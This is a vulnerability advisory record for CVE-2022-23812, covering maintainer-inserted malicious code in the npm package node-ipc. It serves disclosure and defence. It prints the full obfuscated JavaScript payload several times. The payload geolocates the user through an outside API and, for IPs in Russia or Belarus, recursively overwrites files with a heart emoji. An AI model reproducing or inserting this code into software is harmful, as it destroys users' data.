{"id":"CVE-2022-23812","aliases":["CVE-2022-23812","GHSA-97m3-w2cp-4xx6"],"related":[],"kind":"vulnerability","state":"published","title":"Malicious Package","summary":"This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: **Note:** Don't run it! js import u from \"path\"; import a from \"fs\"; import o from \"https\"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t > 1) { return; } const n = Buffer.from(\"aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=\", \"base64\"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString(\"utf8\"), function (t) { t.on(\"data\", function (t) { const n = Buffer.from(\"Li8=\", \"base64\"); const o = Buffer.from(\"Li4v\", \"base64\"); const r = Buffer.from(\"Li4vLi4v\", \"base64\"); const f = Buffer.from(\"Lw==\", \"base64\"); const c = Buffer.from(\"Y291bnRyeV9uYW1l\", \"base64\"); const e = Buffer.from(\"cnVzc2lh\", \"base64\"); const i = Buffer.from(\"YmVsYXJ1cw==\", \"base64\"); try { const s = JSON.parse(t.toString(\"utf8\")); const u = s[c.toString(\"utf8\")].toLowerCase(); const a = u.includes(e.toString(\"utf8\")) || u.includes(i.toString(\"utf8\")); // checks if country is Russia or Belarus if (a) { h(n.toString(\"utf8\")); h(o.toString(\"utf8\")); h(r.toString(\"utf8\")); h(f.toString(\"utf8\")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = \"\", o = \"\") { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from(\"4p2k77iP\", \"base64\"); for (var e = 0; e < r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length > 0 ? f.push(...s) : null; } else if (i.indexOf(o) >= 0) { try { a.writeFile(i, c.toString(\"utf8\"), function () {}); // overwrites file with ❤️ } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };","summarySource":"cvelist","descriptions":[{"lang":"en","text":"This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: **Note:** Don't run it! js import u from \"path\"; import a from \"fs\"; import o from \"https\"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t > 1) { return; } const n = Buffer.from(\"aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=\", \"base64\"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString(\"utf8\"), function (t) { t.on(\"data\", function (t) { const n = Buffer.from(\"Li8=\", \"base64\"); const o = Buffer.from(\"Li4v\", \"base64\"); const r = Buffer.from(\"Li4vLi4v\", \"base64\"); const f = Buffer.from(\"Lw==\", \"base64\"); const c = Buffer.from(\"Y291bnRyeV9uYW1l\", \"base64\"); const e = Buffer.from(\"cnVzc2lh\", \"base64\"); const i = Buffer.from(\"YmVsYXJ1cw==\", \"base64\"); try { const s = JSON.parse(t.toString(\"utf8\")); const u = s[c.toString(\"utf8\")].toLowerCase(); const a = u.includes(e.toString(\"utf8\")) || u.includes(i.toString(\"utf8\")); // checks if country is Russia or Belarus if (a) { h(n.toString(\"utf8\")); h(o.toString(\"utf8\")); h(r.toString(\"utf8\")); h(f.toString(\"utf8\")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = \"\", o = \"\") { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from(\"4p2k77iP\", \"base64\"); for (var e = 0; e < r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length > 0 ? f.push(...s) : null; } else if (i.indexOf(o) >= 0) { try { a.writeFile(i, c.toString(\"utf8\"), function () {}); // overwrites file with ❤️ } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };","source":"cvelist"},{"lang":"en","text":"The package node-ipc versions 10.1.1 and 10.1.2 are vulnerable to embedded malicious code that was introduced by the maintainer. The malicious code was intended to overwrite arbitrary files dependent upon the geo-location of the user IP address. The maintainer removed the malicious code in version 10.1.3.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Esto afecta al paquete node-ipc a partir de la versión 10.1.1 y versiones anteriores a 10.1.3. Este paquete contiene un código malicioso, que es dirigido a usuarios con IP ubicadas en Rusia o Bielorrusia, y sobrescribe sus archivos con un emoji de corazón. **Nota**: a partir de las versiones 11.0.0, en lugar de tener código malicioso directamente en el código fuente de este paquete, node-ipc importa el paquete peacenotwar que incluye un comportamiento potencialmente no deseado. Código Malicioso: **Nota:** ¡No lo ejecutes! js importado desde \"path\"; importado desde \"fs\"; importado desde \"https\"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t &gt; 1) { return; } const n = Buffer. from(\"aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=\", \"base64\"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString(\"utf8\"), function (t) { t. on(\"data\", function (t) { const n = Buffer.from(\"Li8=\", \"base64\"); const o = Buffer.from(\"Li4v\", \"base64\"); const r = Buffer. from(\"Li4vLi4v\", \"base64\"); const f = Buffer.from(\"Lw==\", \"base64\"); const c = Buffer.from(\"Y291bnRyeV9uYW1l\", \"base64\"); const e = Buffer. from(\"cnVzc2lh\", \"base64\"); const i = Buffer.from(\"YmVsYXJ1cw==\", \"base64\"); try { const s = JSON.parse(t.toString(\"utf8\")); const u = s[c.toString(\"utf8\")].toLowerCase(); const a = u.includes(e.toString(\"utf8\")) || u.includes(i.toString(\"utf8\")); // comprueba si el país es Rusia o Bielorrusia if (a) { h(n.toString(\"utf8\")); h(o.toString(\"utf8\")); h(r.toString(\"utf8\")); h(f.toString(\"utf8\")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = \"\", o = \"\") { if (!a.existsSync(n)) { return; } let r = []; try { r = a. readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from(\"4p2k77iP\", \"base64\"); for (var e = 0; e &lt; r.length; e++) { const i = u. join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length &gt; 0 ? f.push(...s) : null; } else if (i.indexOf(o) &gt;= 0) { try { a.writeFile(i, c.toString(\"utf8\"), function () {}); // sobrescribe el archivo con ? } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };","source":"nvd"}],"published":"2022-03-16T15:45:31.515Z","modified":"2026-06-17T04:30:49.207Z","severity":{"scorer":"snyk","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H","score":9.8,"rating":"CRITICAL"},"severities":[{"scorer":"snyk","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H","score":9.8,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"NVD","scheme":"CVSS:2.0","vector":"AV:N/AC:L/Au:N/C:C/I:C/A:C","score":10,"rating":"HIGH"}],"cwes":["CWE-94","CWE-506"],"affected":[{"ranges":[{"type":"custom","introduced":"10.1.1","fixed":"unspecified","status":"affected"},{"type":"custom","introduced":"unspecified","fixed":"10.1.3","status":"affected"}],"product":"node-ipc","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"10.1.1","status":"affected","fixed":"10.1.3"}],"ecosystem":"npm","package":"node-ipc","purl":"pkg:npm/node-ipc","source":"ghsa"},{"ranges":[{"status":"affected","introduced":"10.1.1","fixed":"10.1.3"},{"status":"affected","introduced":"11.0.0"}],"vendor":"node-ipc_project","product":"node-ipc","cpe":"cpe:2.3:a:node-ipc_project:node-ipc:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://snyk.io/vuln/SNYK-JS-NODEIPC-2426370","tags":["exploit","patch","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/RIAEvangelist/node-ipc/issues/236","tags":["issue-tracking","patch","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/RIAEvangelist/node-ipc/issues/233","tags":["issue-tracking","patch","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js","tags":["third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/RIAEvangelist/node-ipc/commit/847047cf7f81ab08352038b2204f0e7633449580","tags":["patch","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://security.netapp.com/advisory/ntap-20220407-0005/","tags":["third-party-advisory","x-refsource-confirm","x-transferred"],"sources":["cvelist","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2022-23812","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/RIAEvangelist/node-ipc","tags":["package"],"sources":["ghsa"]},{"url":"https://security.netapp.com/advisory/ntap-20220407-0005","tags":["web"],"sources":["ghsa"]}],"credits":["Unknown"],"assigner":"snyk","sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2022-23812","url":"https://www.cve.org/CVERecord?id=CVE-2022-23812","licence":"CVE Terms of Use","modified":"2024-09-16T22:19:54.618Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-97m3-w2cp-4xx6","url":"https://github.com/advisories/GHSA-97m3-w2cp-4xx6","licence":"CC-BY-4.0","modified":"2026-03-16T03:12:33.092Z"},{"source":"nvd","name":"NVD","id":"CVE-2022-23812","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-23812","licence":"Public domain","modified":"2026-06-17T04:30:49.207Z"}],"updatedAt":"2026-11-25T22:58:10.142Z","epss":{"score":0.04225,"percentile":0.9123,"date":"2026-12-01T12:00:22.000Z"}}